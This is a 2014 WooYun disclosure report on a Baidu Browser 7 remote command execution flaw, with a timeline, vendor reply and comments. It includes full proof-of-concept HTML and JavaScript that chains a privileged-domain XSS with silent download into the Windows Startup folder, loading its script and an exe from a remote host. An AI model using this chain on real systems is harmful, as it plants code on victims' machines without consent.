百度浏览器远程命令执行五

admin 2015年8月11日00:47:06评论441 views字数 211阅读0分42秒阅读模式
摘要

2014-11-14: 细节已通知厂商并且等待厂商处理中
2014-11-17: 厂商已经确认,细节仅向厂商公开
2014-11-20: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-01-11: 细节向核心白帽子及相关领域专家公开
2015-01-21: 细节向普通白帽子公开
2015-01-31: 细节向实习白帽子公开
2015-02-12: 细节向公众公开

漏洞概要 关注数(53) 关注此漏洞

缺陷编号: WooYun-2014-83294

漏洞标题: 百度浏览器远程命令执行五 百度浏览器远程命令执行五

相关厂商: 百度

漏洞作者: gainover百度浏览器远程命令执行五

提交时间: 2014-11-14 17:54

公开时间: 2015-02-12 17:56

漏洞类型: 远程代码执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 远程代码执行 浏览器漏洞利用技巧

10人收藏


漏洞详情

披露状态:

2014-11-14: 细节已通知厂商并且等待厂商处理中
2014-11-17: 厂商已经确认,细节仅向厂商公开
2014-11-20: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-01-11: 细节向核心白帽子及相关领域专家公开
2015-01-21: 细节向普通白帽子公开
2015-01-31: 细节向实习白帽子公开
2015-02-12: 细节向公众公开

简要描述:

一直以为百度浏览器没更新哇,看新闻才知道,百度浏览器已经发布第7版本(7.0.400.292),于是又下载下来研究了一番,相对于第6版本,在一些API上确实有了不小的安全改进,但是也有一些7版本上的改进,反而导致可以远程命令执行。

详细说明:

1. 首先,我们用百度浏览器随便打开一个本地的页面,比如file:///C:/xxxxxx,你会发现出现以下报错,F12控制台内 location.href查看,可以看到URL改变为:data:text/html,biduwebdata

百度浏览器远程命令执行五

不要奇怪我为什么会这么测试,因为在6版本的百度浏览器中 data:text/html,biduwebdata 域下存在XSS,所以我其实是想看看 data:text/html,biduwebdata 在7版本中是否也存在,你可以看到我们所输入的URL在页面中被输出,那么会不会这里没有转义呢?

百度浏览器远程命令执行五

于是在bdbrowser域下用以下代码进行测试,(因为http域无法重定向至 file域,所以在bdbrowser域下测试):

code 区域
location.href='file:///C:/xxxxxx#"><img/src="1"/onerror="alert(1)">'

可以看到弹窗了。

百度浏览器远程命令执行五

2. 第2个问题来了, data:text/html,biduwebdata 这个是data协议的,这个协议下有特权吗? 答案是:6版本的百度浏览器是没有的,但这个最新版本的,data:text/html,biduwebdata 这个URL下是有特权的,但其它data:xxx是没有的。

3. 这样一来,我们的第一步,特权域XSS就已经有了。但是,我们如何从http域重定向至file域呢?

A. 我们重定向至一个不存在的协议?

百度浏览器远程命令执行五

似乎并不能实现和file域一样的效果。

B. about协议则直接打开了空白页

C. 还有一个比较常见的res://协议,我们试试~~

code 区域
location.href='res:///C:/xxxxxx#"><img/src="1"/onerror="alert(1)">'

百度浏览器远程命令执行五

如上图所示,我们可以看到res协议实现了和file协议一样的效果,且 http协议可以跳转至res协议

4. 因此,XSS我们有了, 如何实现命令执行呢? 我对之前测试过的API进行了一些测试,例如皮肤下载,插件下载,均已作出了一定的安全限制。然而,有一个功能比较显眼:

百度浏览器远程命令执行五

上图涉及到2个部分:

一是静默下载,即不需要用户交互,便可将指定程序下载到下载目录。

二是下载目录设置。

如果我们设置为静默下载,并将下载目录指向用户的启动目录,然后让用户下载一个exe,那么该exe将会被下载到用户的启动目录中。

5. 有了特权域的XSS,以上想法,我们并不难实现,这里直接给出代码,代码中含有注释。

A. 重定向至res://....,触发XSS,调用baidupoc5.js

code 区域
<html>
<head>百度浏览器命令执行5</head>
<body>
<script>
window.name='var s=document.createElement("script");s.src="**.**.**.**/test/baidupoc5.js";document.body.appendChild(s);';
location.href='res://c/Users/gainover/Desktop/xxxxx#"><img src=1 onerror=eval(window.name)>'
</script>
</body>
</html>

B. baidupoc5.js代码如下:

code 区域
var isWin7=/NT/s+6/.test(navigator.userAgent);

/*获取用户名*/
function getUserNameCallback(id,res){
console.log(arguments);
if(!res){
console.log("download skin error");
return ;
}
var data=JSON.parse(res);
var path=data.body.path;
var d=path.substring(0,1);
var user=isWin7?(path.match(///Users//([^//]+)///)||["",""])[1]:(path.match(///Documents and Settings//([^//]+)///)||["",""])[1];
console.log(path);
console.log(user);
setDownloadDir(d,user);
}

/*设置下载目录*/
function setDownloadDir(d,user){
var win7=d+"://Users/"+user+"/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/";

var xp=d+"://Documents and Settings/"+user+"/「开始」菜单/程序/启动/";
var dir=isWin7?win7:xp;
window.external.StartRequest(1058,"set_string_pref","","[/"download_default_directory/",/""+dir+"/"]");
console.log("download directory");
setTimeout(function(){setDownloadSilent()},100);
}
/*静默下载*/
function setDownloadSilent(){
window.external.StartRequest(1059,"set_boolean_pref","","[/"download_auto_save/",true]");
console.log("download settings");
setTimeout(function(){startDownload()},100);
}
/*开始下载*/
function startDownload(){
console.log("download exe");
location.href="**.**.**.**/calc.exe";
}
/*入口*/
function main(){
window.external.StartRequest(1057,"theme_apply","getUserNameCallback","[{/"md5/":/"0a696bf6144f37186eb2ba4b637c97da/",/"id/":/"0a696bf6144f37186eb2ba4b637c97da/",/"src/":/"http://**.**.**.**/odin/201410/0a696bf6144f37186eb2ba4b637c97da.jpg/",/"thumb/":/"http://**.**.**.**/odin/201410/a57d9c085d1cca1c16a1265f0bea040e.jpg/",/"subject/":/"大桥夜景/",/"tone/":0,/"tag/":/"风景/",/"desc/":/"/",/"from/":0,/"themeId/":/"41/",/"name/":/"大桥夜景/",/"category/":/"精选/",/"position/":4}]");
}

main();

漏洞证明:

以上代码在Win7下进行测试,截图如下:

百度浏览器远程命令执行五

xp下也测试通过。

修复方案:

修复 data:text/html,biduwebdata 下的XSS,

浏览器在设置用户下载目录时,需要启用一定的用户交互,以避免随意一个特权域XSS即可更改此设置。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-11-17 12:35

厂商回复:

感谢提交,已通知业务部门处理

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

50%

0%

0%

50%

0%


评价

  1. 2014-11-14 17:55 | 大孩小孩 ( 路人 | Rank:7 漏洞数:7 | 哈哈哈哈)

    3

    mark

  2. 2014-11-14 17:55 | 子非海绵宝宝 百度浏览器远程命令执行五 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

    1

    前排!~~

  3. 2014-11-14 17:56 | 孤独雪狼 百度浏览器远程命令执行五 ( 普通白帽子 | Rank:761 漏洞数:159 | 七夕手机被偷,这坑爹的七夕啊 。。。。)

    1

    前排!~~

  4. 2014-11-14 17:58 | 疯狗 百度浏览器远程命令执行五 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    1

    第五发了。。

  5. 2014-11-14 18:04 | VinGogh ( 路人 | Rank:28 漏洞数:7 | G.X.)

    1

    吊炸天

  6. 2014-11-14 18:04 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

    1

    坐等百度浏览器更新第八版。。。

  7. 2014-11-14 18:23 | 天朝城管 ( 普通白帽子 | Rank:136 漏洞数:39 | 不要等到命玩你的时候才开始玩命)

    1

    penta kill

  8. 2014-11-14 18:32 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了,跪着也要...)

    1

    还有第几发?

  9. 2014-11-14 18:44 | Demon ( 普通白帽子 | Rank:121 漏洞数:14 | You are my dream)

    1

    god like

  10. 2014-11-14 18:52 | mramydnei ( 普通白帽子 | Rank:400 漏洞数:87 )

    1

    能连载到10么

  11. 2014-11-14 19:15 | 机器猫 ( 普通白帽子 | Rank:1358 漏洞数:291 | 爱生活、爱腾讯、爱网络!一个有梦想的16岁...)

    1

    ccav看这里

  12. 2014-11-14 19:25 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    1

    不忍直视了。。。

  13. 2014-11-14 19:34 | answer 百度浏览器远程命令执行五 ( 普通白帽子 | Rank:453 漏洞数:54 | 答案)

    1

    66666

  14. 2014-11-14 19:51 | MeirLin ( 实习白帽子 | Rank:96 漏洞数:30 | 号借人)

    1

    又可以做教程了

  15. 2014-11-14 20:12 | 香草 ( 普通白帽子 | Rank:103 漏洞数:15 | javascript,xss,jsp、aspx)

    1

    二哥一直在等百度更新,然后绕过

  16. 2014-11-14 20:14 | anon ( 路人 | Rank:26 漏洞数:7 | AnOnYMoUs 我是一只小马甲)

    3

    百度浏览器宣布停止更新.

  17. 2014-11-14 20:26 | Guardian ( 实习白帽子 | Rank:96 漏洞数:20 | I'm from the Internet and be here to hel...)

    1

    围观~

  18. 2014-11-14 20:38 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了,跪着也要...)

    1

    百度浏览器宣布停止维护,我们放弃该产品!@gainover

  19. 2014-11-14 21:53 | Stardustsky ( 路人 | Rank:4 漏洞数:3 | ……)

    2

    那些年我们一起X过的百度浏览器

  20. 2014-11-15 10:09 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 严肃点~ 此号为虚拟小号,并不存在实体...)

    2

    厂商回应:已通知工程师赶紧更新,必须给二哥制造二十连载的机会,另外在此洞所有评论者中随机抽取一位白帽,送出两包辣条,不要问我为什么,

  21. 2014-11-28 18:56 | 辣条 ( 实习白帽子 | Rank:62 漏洞数:27 | 辣条5毛钱一袋,要不要?)

    1

    @心伤的瘦子 送我吗?@辣条

  22. 2014-11-29 08:17 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 严肃点~ 此号为虚拟小号,并不存在实体...)

    1

    @辣条 ,,,还没到把你送出去的时间,你怎么自己出来了

  23. 2015-01-23 23:54 | 猪猪侠 百度浏览器远程命令执行五 ( 核心白帽子 | Rank:5372 漏洞数:415 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    0

    厉害

  24. 2015-02-12 20:29 | 茜茜公主 ( 普通白帽子 | Rank:2409 漏洞数:414 | 家里二宝出生,这几个月忙着把屎把尿...忒...)

    0

    确实很厉害

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin